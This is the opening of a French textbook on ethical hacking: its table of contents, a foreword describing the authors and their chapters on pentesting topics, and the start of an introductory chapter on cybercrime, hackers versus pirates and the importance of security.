Académique Documents
Professionnel Documents
Culture Documents
Introduction...........................................................................................................................................3
Introduction et définitions.....................................................................................................................3
La sécurité informatique : pour quoi, pour qui ?................................................................................4
Le hacking se veut éthique.................................................................................................................4
Connaître son ennemi pour s’en défendre.........................................................................................4
Conclusion..........................................................................................................................................4
Eléments d’ingénierie sociale.................................................................................................................4
Généralités.........................................................................................................................................4
Modes d’action de l’ingénierie sociale...............................................................................................4
Connaissance des organisations attaquées........................................................................................4
Failles humaines : bases et modèles théoriques................................................................................4
Influence et manipulation..................................................................................................................4
Les techniques de manipulation.........................................................................................................4
Savoir "patcher" les failles humaines.................................................................................................4
OSINT..................................................................................................................................................4
Bibliographie......................................................................................................................................4
Black Market..........................................................................................................................................4
Introduction.......................................................................................................................................4
Deep Web, Dark Web, Darknet, Black Market...................................................................................4
Black Market, entre le visible et l’invisible.........................................................................................4
Fonctionnement.................................................................................................................................4
Anonymat des boutiques ?.................................................................................................................4
Mode d’emploi de Tor........................................................................................................................4
Le référencement du Black Market....................................................................................................4
Annuaire de sites en .onion................................................................................................................4
Vocabulaire........................................................................................................................................4
Liste des markets et autoshops..........................................................................................................4
Prise d’empreinte ou Information Gathering.........................................................................................4
Les attaques.......................................................................................................................................4
L’analyse des risques..........................................................................................................................4
Le test d’intrusion...............................................................................................................................4
Méthodologie d’une collecte d’informations ou prise d’empreinte...................................................4
Le service Whois.................................................................................................................................4
La recherche d’informations sur le Web.............................................................................................4
Restrict
ed
Les moteurs de recherche de périphériques connectés.....................................................................4
La recherche d’informations avec Google Hack.................................................................................4
Applications graphiques dédiées à la recherche d’informations........................................................4
Les scripts de recherche d’informations.............................................................................................4
Énumération DNS : commandes et scripts.........................................................................................4
Les scanners de ports.........................................................................................................................4
Frameworks et collecte d’informations..............................................................................................4
Les scanners de vulnérabilités............................................................................................................4
Faraday : IPE (Integrated Penetration- Test Environment).................................................................4
TL-OSINT : une machine virtuelle pour l’OSINT..................................................................................4
Le protocole SNMP (Simple Network Management Protocol)...........................................................4
Le reporting........................................................................................................................................4
Sites indexant de nombreux outils et guides OSINT...........................................................................4
Les failles systèmes................................................................................................................................4
Généralités.........................................................................................................................................4
Les failles physiques...........................................................................................................................4
Les mots de passe...............................................................................................................................4
Chiffrement et cryptage.....................................................................................................................4
Les processus......................................................................................................................................4
Le démarrage.....................................................................................................................................4
Windows............................................................................................................................................4
Linux...................................................................................................................................................4
macOS X.............................................................................................................................................4
Exploitation des vulnérabilités des systèmes d’exploitation..............................................................4
Big Data et confidentialité..................................................................................................................4
Conclusion..........................................................................................................................................4
Les failles réseaux...................................................................................................................................4
Généralités.........................................................................................................................................4
Restrict
ed
Introduction
Je me rends compte que ce n’est pas chose aisée de justifier, au nom de tous les auteurs de cet
ouvrage, la raison d’être de celui-ci et son évolution, bref son histoire.
Je vais donc modestement m’y atteler et sollicite pour cet exercice la mansuétude de mes collègues
d’écriture.
La sécurité informatique est une science relativement jeune, née avec l’avènement de la
numérisation des données, du développement exponentiel des réseaux et du tout connecté. Cet
avènement a donné accès à l’information au monde entier et provoqué la naissance d’une nouvelle
forme de malfaisance, la cybercriminalité.
Pirates informatiques, virus, malwares, ransomwares sont des termes qui font
malheureusement désormais partie de notre vie professionnelle et courante.
Dans le même temps sont nés les hackers blancs, des bidouilleurs passionnés par la recherche de
failles utilisées par les cybercriminels et le développement de contre-mesures qui ont donné
naissance aux métiers de la cybersécurité.
Ces métiers ont, de fait, fortement évolué ces dernières années et des standards ont été mis en
place, aidés en cela par la création en 2009 de l’Agence Nationale de Sécurité des Systèmes
d’Information, l’ANSSI.
Ils sont variés et possèdent tous leurs spécialités, ce qui explique que, à l’écriture de la première
version de cet ouvrage en 2009, nous étions déjà plusieurs auteurs avec chacun son domaine favori.
Avant de vous parler des auteurs et de leurs chapitres, je me dois de vous raconter
brièvement comment et pourquoi cet ouvrage est né.
Remontons au début des années 2000. À l’origine, nous étions trois : Franck Ebel, Jérôme Hennecart
et moi-même, Robert Crocfer, sur l’antenne universitaire de Maubeuge, entité rattachée à
l’université de Valenciennes. Franck et Jérôme dispensaient des cours aux étudiants de l’IUT
Informatique et j’administrais le réseau informatique.
Le hacking faisait son apparition en France et nos étudiants testaient nos installations.
Restrict
ed
Franck s’était déjà personnellement intéressé à la sécurité informatique et nous en avait montré les
côtés innovants, nous transmettant au passage le virus du hacking qui ne nous a plus quittés depuis.
Nous avons alors cherché à nous former à ces méthodes. À cette époque, aucune formation n’existait
hormis celle donnée par une association "The Hackademy School" sur Paris (à l’origine de la "Nuit du
Hack"). Nous l’avons donc suivi et, dans la foulée, créé notre propre association en 2004 : ACISSI pour
Audit, Conseil, Installation et Sécurisation des Systèmes d’Information. La seule condition pour
l’intégrer étant d’être passionné par le hacking éthique, des étudiants nous ont rejoints dès le départ
(clin d’œil à Seb et David).
En 2008, après quelques années de salons, challenges et veille technologique, nous avons créé la
licence CDAISI pour Cyber Défense et Anti Intrusion des Systèmes d’Information sur l’antenne de
Maubeuge, la première en Europe.
Le hacking était alors plus que méconnu et souvent assimilé au piratage, pour certains de nos
collègues universitaires, c’était un "effet de mode" amené à disparaître... sacrée prédiction !
S’en est suivi l’organisation de salons, la création de challenges de hacking en France et à l’étranger,
des rencontres de passionnés qui sont venus grossir les rangs de l’association. Tout ceci nous a
amené en 2009 à vouloir transcrire cette passion par écrit, ensemble, comme nous l’avions toujours
fait, chacun amenant sa pierre à l’édifice. Et c’est ainsi qu’est né ce livre sur le "Ethical Hacking".
Pour clore ce bref historique, en 2011, nous avons été contactés par la Gendarmerie nationale qui
nous a intégrés tous les trois dans le groupe Cyber Défense de la réserve citoyenne des Hauts-de-
France en tant que Commandants et aujourd’hui Lieutenants-Colonels. Damien Bancal et Joffrey
Clarhaut nous y ont rejoints par la suite.
Enseignants, anciens étudiants, professionnels du secteur, rencontres sur événementiels, les auteurs
de ce livre sont, et ont toujours été, une équipe d’amis motivés par une même passion. Certains sont
partis pour raisons diverses et variées, d’autres sont arrivés mais le lien reste intact entre nous.
Nous avons tous cette volonté de nous adresser aux informaticiens novices, débutants mais
sensibilisés aux concepts du Hacking Ethique et ne sachant pas trop par quel bout commencer pour
se spécialiser et en faire leur métier.
Parlons maintenant des différents chapitres du livre ; nous avons essayé de les ordonnancer en
fonction de la méthodologie d’une attaque ou plutôt, en ce qui nous concerne, du déroulement d’un
pentest.
Comme tout ouvrage scientifique, nous avons besoin de vous présenter ce monde spécifique de la
cybersécurité en vous familiarisant avec son histoire, son langage très particulier, les confusions
possibles, les enjeux de celles-ci, tant au niveau particulier que professionnel ou même étatique et
les préceptes du Hacking Ethique.
Introduction et définitions
Ce premier chapitre traite de toutes ces choses et vous permettra de mieux appréhender les
chapitres suivants. J’y réactualise en fait l’excellent chapitre originel de Marion Agé (coucou
Marion !) partie vers d’autres aventures professionnelles.
Pour ma part, je suis passionné par l’OSINT (renseignements en sources ouvertes), les failles système
et le forensic.
Restrict
ed
Éléments d’ingénierie sociale - Black Market
Les deux chapitres suivants, Éléments d’ingénierie sociale et Black Market, sont écrits par
Damien Bancal, le « monsieur 100 000 volts » de l’équipe. Comment vous présenter une figure
incontournable de la cybersécurité ? Journaliste spécialiste des questions cyber depuis 1989, son
blog de référence zataz.com est mondialement connu. Il est aussi "lanceur d’alerte", prévenant
entreprises et administrations d’attaques ou failles repérées.
Spécialiste du Darkweb mais également expert pour le social engineering, il vous guidera dans les
méandres du Darknet et vous initiera aux techniques de l’ingénierie sociale qui est l’art et la manière
d’influencer les êtres humains.
Le quatrième chapitre sur la prise d’empreintes est la suite logique des deux précédents. En effet,
l’ingénierie sociale est une étape importante de la prise d’empreintes ou Information Gathering en
anglais.
Imaginez une attaque militaire en règle, repérage et localisation de la cible, moyens d’accès,
estimations des forces et faiblesses de l’ennemi, mise en place d’une stratégie à mener, réalisation
de celle-ci et rapport aux autorités sur son déroulement après coup.
Vous avez là, à quelques variantes près, tous les ingrédients d’un pentest (ou d’une
attaque informatique), dont la phase de repérage que l’on assimilera à la prise d’empreintes.
Dans ce chapitre, je m’efforce de vous expliquer les types et la méthodologie des attaques et par
analogie, d’un audit de sécurité. Je vous initie à la récupération de données en utilisant des outils
OSINT et d’autres plus agressifs afin de préparer au mieux la stratégie à mettre en place en fonctions
des résultats. Cette étape est cruciale dans la réalisation d’un pentest et conditionne généralement la
réussite de celui-ci, ne la négligez pas !
Maintenant que nous avons traité des failles humaines et des différents moyens de collecter les
informations nécessaires à nos objectifs, attaquons-nous au matériel.
Les deux chapitres suivants vous permettront d’appréhender deux sujets indissociables à mon avis :
les failles système et les failles réseau tous deux écrits par mon ami et collègue Laurent Schalkwijk.
Dans les éditions précédentes, j’écrivais un chapitre traitant des failles physiques des ordinateurs. En
discutant avec Laurent qui écrivait le chapitre des failles système, nous nous sommes aperçus que
certaines techniques étaient redondantes et que ce chapitre pouvait être intégré à celui de Laurent.
Ceci est maintenant chose faite, Laurent s’étant chargé de cette intégration.
Laurent est formateur auprès d’étudiants en Belgique et en France et consultant indépendant sur les
technologies réseau et sur la sécurité informatique. Il est certifié Cisco CCNA et instructeur
d’instructeurs Cisco CCNA, autant vous dire que le niveau réseau et système est élevé et
Restrict
ed
impressionnant. A contrario, la personne est extrêmement accessible tout en restant très
professionnelle.
Dans ces deux chapitres, Laurent vous explique le fonctionnement et les vulnérabilités des systèmes
Windows, Linux et mac OS X ainsi que le fonctionnement de l’exploitation de certaines failles au
travers de cas pratiques. Côté réseau, après un rapide rappel sur les réseaux TCP/IP, vous découvrirez
différents types de scan, la notion et la gestion de sockets, diverses techniques de contournement,
de cracks wpa2, de Man in the Middle, de vols de session, etc. qui vous passionneront à n’en pas
douter.
On ne pouvait pas quitter le domaine du réseau sans vous parler des réseaux spécifiques liés aux
objets connectés (les failles mobiles font l’objet d’un chapitre dédié) et de leur exploitation en
termes de hacking. Ce chapitre a été rédigé par Frédéric Vicogne, enseignant en électronique,
informatique et numérique. Il est responsable du module gestion et administration Linux de la
licence CDAISI. Il est également concepteur hardware et software de circuits numériques 32 bits et
spécialiste en radio-transmission numérique. Derrière une personne discrète et sympathique se
cache un expert redoutable dans ces spécificités. Qui peut se targuer d’avoir réalisé des circuits
électroniques maison en composants de surface soudés dans le four de cuisine familial, remanié par
ses soins en four de précision à cet effet, platines qui ont servi à gérer des baies de serveurs dans un
datacenter ? Excusez du peu !
Comme je vous le disais, cette équipe d’auteurs est très hétéroclite et vous constaterez que la suite
de cet avant-propos ne me démentira pas !
Après le côté matériel, passons maintenant aux incontournables failles web qui vous sont présentées
par Jérôme Hennecart. Jérôme c’est l’art et la manière de vous expliquer les choses les plus
compliquées de façon simple, claire et détaillée, (et en plus, c’est un narrateur hors pair d’histoires
drôles !). C’est le troisième ami à l’origine de cette belle aventure.
Enseignant dans plusieurs formations liées à la cyberdéfense (Licence CDAISI, Master CDSI, MBA
Management de la cybersécurité), il est spécialiste en sécurité des applications web et en analyse des
risques par la méthode EBIOS RM.
Enfin, c’est également un excellent conférencier qui a œuvré dans de nombreux pays (Afrique du
Nord, Afrique subsaharienne, Russie, etc.).
Après un rapide rappel sur le Web, et quelques explications sur la composition d’un site et le
fonctionnement de la consultation de celui-ci, vous passerez à l’étude de failles web et à l’utilisation
d’outils spécialisés à cet effet. Vous installerez votre labo de test et testerez les failles web les plus
répandues (SQL, XSS...). Vous terminerez ce chapitre par la mise en place de contre-mesures et
recevrez quelques conseils de développement.
Ce chapitre sur les failles applicatives, écrit par Franck Ebel, est assez technique ; il va vous falloir
appréhender l’Assembleur. Franck Ebel est enseignant sur l’antenne de Maubeuge, expert Python
Restrict
ed
reconnu de par ses nombreux ouvrages dédiés à ce langage et spécialiste des buffers overflow, dont
il vous fait ici une présentation détaillée. (pour la petite histoire, Franck c’est "monsieur, j’ai une idée
toutes les cinq minutes" qui vous entraîne dans des challenges pas possibles mais tellement
enrichissants !). Pour commencer il fait un petit rappel sur le binaire. Ensuite une présentation des
processeurs Intel, de l’Assembleur et quelques exercices vous permettront de vous familiariser avec
celui-ci.
Viendront ensuite les notions de buffer overflow, de stack overflow, de heap overflow et leurs
fonctionnements avant de finir par la mise en œuvre de failles applicatives sous Windows sur
machines virtuelles.
Cette section est assez ardue pour les néophytes, ne vous découragez pas car, a contrario, elle est
aussi très intéressante !
Forensic
Ce chapitre, écrit initialement par Thibaut, grand spécialiste du forensic et de l’étude de malware qui
nous a quittés pour d’autres horizons professionnels, est une introduction à l’analyse forensique.
Le forensic ou encore l’analyse forensique est en fait la recherche de traces appelées preuves de
compromission dans le cas d’une attaque informatique, en informatique légale.
Le but sera de retracer le plus fidèlement le déroulement de celle-ci en retrouvant les différentes
étapes de l’infection.
Elle est très utilisée dans les enquêtes criminelles pour la recherche de données criminelles.
Mais celle-ci pourra également aider au débogage d’un binaire d’application, d’un
fonctionnement aléatoire d’applicatif ou au dysfonctionnement d’un réseau.
J’ai ajouté sur cette édition ma modeste touche personnelle en développant la partie analyse
mémoire sur Windows et Linux.
Ce chapitre est la suite logique du précédent, rédigé par Rémi Dubourgnoux, ancien étudiant de la
licence CDAISI et travaillant pour le CERT Michelin qui se présente comme un autodidacte passionné
étudiant les arcanes de l’électronique, de l’algorithmique et du développement, des systèmes *NIX,
de l’informatique légale, de la réponse sur incident, de l’étude des profils d’attaquants et des codes
malveillants. Autant vous dire qu’il est bien armé pour vous guider dans cette étude et détection de
malwares.
Il vous faudra quelques connaissances sur Linux pour pleinement exploiter les enseignements de ce
chapitre ainsi que des connaissances sérieuses en langage C et Assembleur.
Restrict
ed
Ce chapitre pourra paraître ardu pour certains mais en sécurité informatique la persévérance est de
mise !
L’importance exponentielle que prennent les appareils mobiles dans nos vies respectives nous oblige
à dédier un chapitre complet sur leurs failles et les investigations possibles d’y mener.
Nous avons donc fait appel à un expert dans le domaine, Jacques Beirnaert, Consultant en
cybersécurité chez Serval-Concept, certifié CEH, CHFI. Les missions de Jacques sont diverses, allant de
la réalisation de tests d’intrusion sur des systèmes d’information, à d’autres plus spécifiques comme
l’audit d’applications mobiles ou encore d’Active Directory. Il est également formateur et intervient
dans plusieurs centres de formation, dont la licence CDAISI et L’ESD Academy.
Jacques, c’est la force tranquille, jamais un mot plus haut que l’autre mais une capacité
d’apprentissage, d’analyse et de restitution impressionnante et, cerise sur le gâteau, toujours présent
pour les collègues.
Dans ce chapitre, il vous présentera le réseau cellulaire, la notion de fausse antenne relais et le
sniffing des informations cellulaires via celle-ci. Il vous présentera ensuite le système d’exploitation
Android, certains problèmes d’homogénéité, comment déverrouiller le bootloader, son architecture,
des CVE pour Android, la récupération de données via des techniques de forensic sur Android et bien
d’autres techniques qui vous passionneront.
Chapitre un peu particulier que celui des failles matérielles. Si vous reprenez l’expression du hacker
que l’on présente comme un bidouilleur passionné, vous aurez le portrait de Sébastien Lasson,
auteur de ce chapitre. Sébastien a travaillé dans la conception d’objets connectés orientés
énergétique ainsi que sur l’interconnexion de produits industriels et de gestion technique de
bâtiments.
Spécialiste de la sécurité matérielle des systèmes (carte à puces, carte magnétique, RFID, etc.).
Développeur web indépendant, il démonte et analyse tous les systèmes qui lui tombent sous la main
et fait de l’étude de ceux-ci sa spécificité.
Après vous avoir décrit le matériel nécessaire au reverse engineering matériel, et fourni les liens vous
permettant de l’acquérir à des prix accessibles, il vous présentera la méthodologie pour "reverser" un
matériel a priori inconnu et récupérer un code PIN à l’intérieur.
Vous découvrirez ensuite la technologie Arduino qui vous permettra de reproduire un hack bien
connu sur les cartes prépayées pour cabines qui n’existent plus aujourd’hui. Mais comme le dit Seb,
la connaissance des anciens proof of concept nous donne souvent accès aux nouvelles techniques de
hacking !
Un autre chapitre particulier, celui sur la sécurité des box, écrit par un autre extraterrestre du
hacking : Guillaume Fortunato, Guillaume et Sébastien sont d’ailleurs copains dans la vie, ceci
expliquant peut-être cela ! Ingénieur Cybersécurité, certifié CEH, Guillaume réalise régulièrement des
audits de sécurité informatique. Ses domaines de compétences sont le réseau, le GSM, la téléphonie
IP, les systèmes de sûreté, les box, Windows et Linux.
Restrict
ed
Dans son chapitre, vous découvrirez le fonctionnement avancé de ces boîtes noires que sont les box
de nos fournisseurs d’accès à Internet ainsi que leurs technologies et les services souvent méconnus
qu’elles peuvent proposer.
Vous apprendrez qu’il est possible (attention au cadre légal) de modifier et de personnaliser le
firmware de certaines box... vous voici de nouveau en mode bidouilleur !
Un peu à l’image du proof of concept de Sébastien, Guillaume vous détaillera le reverse matériel
d’une box et le flash du firmware de celle-ci.
Autre chapitre intéressant. Nos véhicules étant de plus en plus connectés, voire à l’avenir pilotés, il
était tout naturel pour un hacker de s’intéresser à la sécurité de ceux-ci.
C’est ce qu’a fait Joffrey Clarhaut, enseignant-chercheur à l’université Polytechnique des Hauts-de-
France, commandant de gendarmerie dans la réserve numérique - cyberdéfense. Il intervient dans la
licence CDAISI sur les failles physiques dans les systèmes automobiles. Joffrey c’est un abord facile,
une méthodologie extrême, le souci du détail et une passion pour les transports et leur sécurisation
(l’automobile n’est pas la seule corde à son arc !).
Après un bref historique sur l’avènement de l’automobile connectée, Joffrey décrit les différences
subtiles entre véhicule connecté et autonome ainsi que les niveaux de connectivité actuellement
atteints.
Il vous décrira la surface d’attaque des véhicules connectés ainsi que les motivations de ces attaques
pour basculer ensuite dans la technique avec une description avancée des composants spécifiques
d’un véhicule connecté.
Viendront ensuite les différents types d’attaque aujourd’hui possibles, la description de celles-ci, le
matériel électronique nécessaire, les softwares ou commandes permettant leur exploitation, ainsi
qu’une description détaillée de softs open source comme Openpilot utilisés dans le cadre du
développement de véhicules autonomes.
Il vous présentera également les possibilités d’injection à distance (le récent bug des serveurs Tesla
ayant bloqué des milliers de véhicules pourrait donner des idées à certains acteurs du cybercrime !),
ainsi que d’autres méthodologies d’attaque.
On met ici le doigt sur les conséquences de la cybercriminalité sur les objets physiques phares de
notre quotidien.
Le Hacking Ethique, c’est également le respect des lois et du cadrage des procédures. On parle dans
ce livre de hackers blancs qui, eux, respectent la loi et les libertés individuelles.
Le dernier chapitre est, à ce titre, très important car il vous aidera à vérifier que vous n’êtes pas hors
cadre légal dans vos travaux de hacking.
Ce chapitre est écrit par Raphaël Rault. "Avocat 2.0", Raphaël est avocat associé au sein du cabinet
Alter Via Avocats, titulaire du Certificat de spécialisation en droit des nouvelles technologies, de
l’informatique et de la communication, Délégué à la Protection des Données (Data Protection
Officer), membre de l’Association française des correspondants aux données personnelles (AFCDP),
diplômé de l’EDHEC Business School et chargé d’enseignement en droit du numérique. Comme vous
Restrict
ed
pouvez le constater, il est extrêmement bien armé pour répondre à ce genre de problématique (c’est
également un excellent chairman en conférences internationales, nous avons testé !).
Dans son chapitre, il vous expliquera, par exemple, pourquoi il est indispensable de contractualiser
entre prestataire et client afin de ne pas tomber sous le coup d’une qualification pénale et que si,
incidemment, vous trouviez certaines failles, vous devrez être très prudents sur les modalités de
divulgation de celles-ci.
Tous ces conseils seront également étayés à l’aide d’exemples de jugements précis et clairs. Vous
vous apercevrez très vite que la frontière est mince entre sanction et relaxe et que la vigilance est de
rigueur dans l’exercice du hacking.
Nous sommes arrivés au bout de cet avant-propos, j’espère que vous prendrez autant de plaisir à lire
ce livre que nous en avons eu à l’écrire.
La sécurité informatique, ou quel que soit le terme employé, hacking, cyberdéfense..., est une
discipline en plein essor qui devient vite une passion pour peu que l’on s’en donne la peine, ce que je
vous souhaite à tous.
Je demande également à mes collègues d’écriture de bien vouloir me pardonner d’avoir, tout au long
de cet avant-propos, dévoilé un peu de leurs personnalités respectives. Pour ma défense, cet
ouvrage écrit à plusieurs mains est le résultat d’une longue et belle collaboration de personnes aux
personnalités et statuts différents qui se sont rejoints dans une passion commune et il aurait été
dommage de ne pas en faire un léger portrait.
Merci également à nos femmes, copines et familles qui supportent les contraintes et exigences
générées par cette passion.
Robert Crocfer
Restrict
ed
Introduction et définitions
De nos jours, la cybercriminalité est un phénomène connu du commun des mortels, les médias se
sont emparés de ce sujet et il ne se passe pas une semaine sans qu’on entende parler de
cyberattaques, de ransomwares (rançongiciels) et de fuites de données personnelles ou
d’entreprises.
Avec le développement du Dark Web, sur lequel tout se vend, et l’avènement des cryptomonnaies,
via lesquelles la majorité des transactions financières illégales sont effectuées, les cybercriminels ont
pris conscience des gains énormes que les cyberattaques pouvaient leur rapporter.
Lors de l’année 2020, les pertes financières dues à ces attaques ont été estimées à environ 1000
milliards de dollars, représentant 1 % du PIB mondial.
Les systèmes industriels connectés (SCADA) n’échappent pas à la règle et subissent également des
attaques ayant des conséquences matérielles dramatiques (productions paralysées, coupures
d’énergie...).
Les principales méthodologies d’attaques et d’infections sont maintenant bien identifiées. Les termes
phishing (envoi d’e-mails piégés), malware et ransomware (type spécifique de malware qui chiffre
vos données pour vous réclamer une rançon) font désormais partie du langage courant.
La pandémie de Covid 19, via le télétravail mis en place, a favorisé l’augmentation des cyberattaques
de façon spectaculaire, faisant passer leur nombre recensé de 1 200 en janvier 2020 à 380 000 début
avril 2020, révélant au passage le manque énorme de sensibilisation à la sécurité informatique dans
nos institutions de type privé ou étatique.
2. Hacking, piratage, sécurité informatique, cyberdéfense... Que met-on derrière ces termes ?
Depuis les années 1970, les systèmes d’information se sont multipliés et ont pris de plus en plus
d’importance, permettant un accès toujours plus rapide à de plus en plus d’informations, multipliant
le partage de celles-ci avec la démocratisation et le développement d’Internet dans les foyers.
Aujourd’hui, la majorité des foyers possèdent un accès à Internet et il est possible de se connecter
avec l’autre bout du monde depuis un café ou depuis un train. Cela permet entre autres de garder
contact avec ses proches ou travailler à distance où que l’on soit, grâce à un accès continu aux
informations.
Cela représente une réelle avancée technologique dans un monde où tout doit aller plus vite, mais
un véritable problème de fond en ce qui concerne la sécurité des données et la vie privée de chacun.
On ne développe pas un nouveau média sans développer quelques effets de bord nuisibles.
Restrict
ed
Or, aujourd’hui, d’énormes volumes d’informations des plus confidentielles (big data) sont transférés
sur le réseau, le contenu de ces dernières étant parfois bien plus intéressant que la connaissance de
l’émetteur ou du destinataire de l’information.
Dans un monde idéal, ces informations circuleraient de l’un à l’autre en toute sécurité, protégées de
l’emprise de toute autre personne durant leur transit. Les informations partiraient et arriveraient en
toute intégrité sans altération ni visualisation externe possibles, de même que personne ne devrait
recevoir contre son gré des données qui pourraient le mettre à mal... dans un monde idéal.
Et quand on réfléchit un instant à l’importance des données que l’on fait transiter sur le réseau, que
ce soit chez soi ou au bureau, il y a de quoi se poser des questions sur la sécurité offerte à celles-ci.
Aujourd’hui, les attaques, les menaces et les conséquences d’une vigilance trop souple se multipliant,
la conscience collective semble s’intéresser de plus en plus aux problèmes de sécurité informatique,
de piratage et de hacking.
Un joli mélange de termes qui se retrouvent bien souvent employés les uns à la place des autres,
faisant paniquer tout un chacun sur des dangers qui ne le concernent pas forcément, et le laissant
ignorant de sujets si importants que toute personne devrait les connaître avant de se connecter au
réseau.
Le terme de pirate n’est pas propre à l’informatique, il définit en premier lieu un individu lié au
banditisme en mer, pillant et volant avec violence, aux dépens d’autrui et de façon malhonnête.
Adapté au domaine informatique, le contexte est différent mais l’action peut être apparentée. Il
s’agit d’une personne qui va chercher à piller un système informatique en détruisant ses protections.
Le terme vise donc les personnes compromettant les systèmes informatiques dans le but de nuire, de
voler des informations ou de réaliser du profit de manière illégale.
D’un autre côté, on entend souvent parler de hackers, et c’est ici que la confusion est souvent faite
par les médias, qui les assimilent très facilement les uns aux autres alors qu’ils ont des éthiques bien
différentes. Le hacker est par définition un bidouilleur, un fouineur, un passionné, bien plus enclin à
la curiosité et à la soif d’apprendre qu’à la volonté de nuire. Le hacker est un spécialiste de la sécurité
informatique, qui utilise ses connaissances par envie ou besoin d’en savoir plus ou pour diffuser des
informations.
Pour les hackers, le savoir et l’information se veulent libres et gratuits. Les hackers se regroupent en
communautés basées autour du partage et de l’échange de compétences pour libérer cette culture.
Autour de ce concept se sont développés plusieurs mouvements qui, aujourd’hui, ont largement
dépassé le stade embryonnaire et se fondent dans notre quotidien. Citons par exemple le logiciel
libre qui, grâce à une communauté passionnée et dévouée, s’est développé et même démocratisé de
manière remarquable depuis quelques années, profitant de la communauté pour battre des records
en termes de rapidité de résolution des problèmes et de publication de correctifs.
3. L’importance de la sécurité
Restrict
ed
À l’heure du "tout disponible, partout, tout de suite", le transport des données en dehors de chez soi
ou de l’entreprise est une réalité qui mérite que l’on s’interroge sur la sécurité des transmissions
pour ne pas compromettre le système d’information.
Que ce soit à l’échelle d’une entreprise, d’une multinationale, d’un particulier ou même d’un pays, la
sécurité d’un système d’information prend son importance dans la valeur des informations qu’il
contient.
Avec le déploiement du réseau, on est face à une augmentation non seulement de la quantité, mais
aussi et surtout de l’importance des données qui y transitent.
Selon le contexte auquel elle s’applique, la sécurité informatique revêt une importance et des
moyens bien différents.
Le particulier aura plutôt à cœur de conserver intactes les informations qu’il considère comme
confidentielles, privées et personnelles, que ce soit lors d’échanges avec sa famille ou ses amis, lors
de la consultation de ses données bancaires en ligne, ou encore lors d’achats réalisés sur Internet.
Malheureusement, il ne se passe pas une journée sans qu’un individu ne se retrouve victime de
cybermalveillance.
À côté de cela, il y a des fuites qui peuvent sembler moins graves et qui apparaissent seulement dans
la conscience publique : elles concernent la vie privée. Et à ce petit jeu, les outils que l’on utilise au
quotidien sont les meilleures sources d’informations sur nous-mêmes : Facebook, Google, des sites
friands de tout ce que l’on a à leur donner et qui mettent très longtemps à oublier...
Aujourd’hui encore, malgré les nombreuses recommandations diffusées un peu partout sur les
médias, certains n’hésitent pas à publier beaucoup d’informations personnelles exposant ainsi leur
vie privée au monde entier et à d’éventuelles malveillances.
On n’est alors pas forcément loin du concept de sécurité, parce qu’apprendre le risque pour
construire sa propre sécurité est finalement quelque chose qui devrait être la préoccupation de tout
un chacun.
Un particulier peut également être la cible d’attaques sur son site personnel, son blog, parfois sans
aucune raison valable (le harcèlement sur la toile est malheureusement une réalité). L’attaquant
pourra, outre les effets sur le site en question (suppression de données, etc.) ainsi s’installer sur ce
serveur pour assurer d’autres attaques de plus grande envergure, pour voler des informations
personnelles ou mettre à mal quelques systèmes d’information plus importants.
Cette intrusion peut également se faire via la connexion internet d’un particulier, si celui-ci ne la
sécurise pas ou mal. Si un intrus réussit à se connecter et réalise quelques actions illégales (partage
de fichiers confidentiels, attaques massives...) à partir de celle-ci, le propriétaire de la ligne est
responsable de ces actions. Par exemple, la loi HADOPI rend le propriétaire de la ligne responsable de
la sécurisation de sa connexion internet et les poursuites seront possibles envers ce dernier si des
activités illégales sont décelées suite à un défaut de sécurisation.
Pour une entreprise, le système d’information représente sa valeur, c’est l’essentiel à protéger.
Compromettre ce système revient à compromettre l’entreprise. Il convient donc d’assurer la sécurité
Restrict
ed
du système, c’est-à-dire de s’assurer que les ressources servent uniquement dans le cadre prévu par
les personnes accréditées, et surtout pas dans un autre cadre.
Les liens entre l’entreprise, ses partenaires, ses fournisseurs et les employés forment un ensemble
qu’il faut connaître pour le sécuriser. Les ressources qui y circulent doivent absolument être
protégées, et pour cela la maîtrise du système d’information est indispensable. Chaque acteur du
système possède un rôle à respecter, qui doit être défini scrupuleusement.
Le risque d’attaque pour un système se mesure par la menace pesant sur celui-ci, sa vulnérabilité, et
les mesures mises en œuvre pour la sécurité de ce système.
Dans cette équation, l’entreprise est directement responsable de la vulnérabilité de son système et
des moyens de sécurisation.
Cependant, la sécurité ne doit pas être une gêne au quotidien et doit permettre d’utiliser le système
en toute confiance.
La sécurité du système d’information d’une école ou d’une université est également très importante.
Des données personnelles et importantes sont contenues dans son réseau, au sujet des étudiants,
des professeurs, des examens... Une faille dans ce réseau ouvrirait les portes à des fuites de
renseignements et d’informations capitales.
Les universités représentent une cible de choix pour les attaquants puisqu’elles sont une mine
d’informations personnelles. De nombreuses universités en ont fait les frais ; ainsi, en 2020, les
données personnelles des 117 000 étudiants et du personnel de l’université de Toulouse ont été
dérobées. De même, le 1er avril 2020, l’université de Montpellier a été victime d’une attaque de type
« ransomware » qui a paralysé l’ensemble des services informatiques ; et cette liste n’est pas
exhaustive...
À l’échelle d’un pays, l’insécurité du système d’information n’est pas envisageable. Les procédures
mises en place doivent être à la hauteur des informations à maintenir sauves, il en va de la sécurité
de toute la nation.
Restrict
ed
Une brèche dans le système pourrait porter atteinte aux intérêts fondamentaux de chacun, mettre à
mal la confiance publique d’un État ou encore le rendre victime d’un acte de terrorisme.
L’actualité nous montre la faiblesse de nos systèmes comme dans le cas de l’attaque de TV5 Monde
ou encore le ransomware WannaCry qui a paralysé plusieurs dizaines d’entreprises en mai 2017,
entraînant des pertes financières importantes. Imaginez si celui-ci avait touché des organismes
d’importance vitale comme l’énergie, les communications, les transports...
Tous les systèmes étant connectés entre eux et au-delà des frontières, une coopération européenne
est pourtant de mise.
Le cyberterrorisme est un problème grave car il dépasse le cadre du réseau internet. C’est comme
cela que des vies ont été menacées par la prise de contrôle d’ordinateurs en mission scientifique, ou
la diffusion de virus informatiques dans des centrales nucléaires.
De même, les sites gouvernementaux ne sont pas vraiment des exemples en termes de sécurité,
puisqu’ils ont subi des attaques - réussies - à plusieurs reprises. De nombreuses failles ont été
révélées ces dernières années, ainsi que sur les sites du Pentagone et de la Maison-Blanche.
Un exemple récent est l’attaque (hacktiviste) le jeudi 18 février 2021 des sites gouvernementaux
gérés par la junte en Birmanie, en réponse aux coupures d’Internet imposées par les autorités. Ainsi,
les sites de la Banque centrale, la page officielle de l’armée birmane, le site de la chaîne de télévision
publique MRTV, de l’autorité portuaire ainsi que celui de l’agence de sécurité alimentaire et sanitaire
ont subi des attaques (déni de service, défigurations de sites).
Pour les entreprises en charge d’informations cruciales, de plus en plus étendues, riches et
complexes, et qui se trouvent confrontées à des individus malintentionnés aux connaissances
étendues, il est devenu évident qu’il fallait un niveau de connaissance et de protection au moins
équivalent pour protéger leur système.
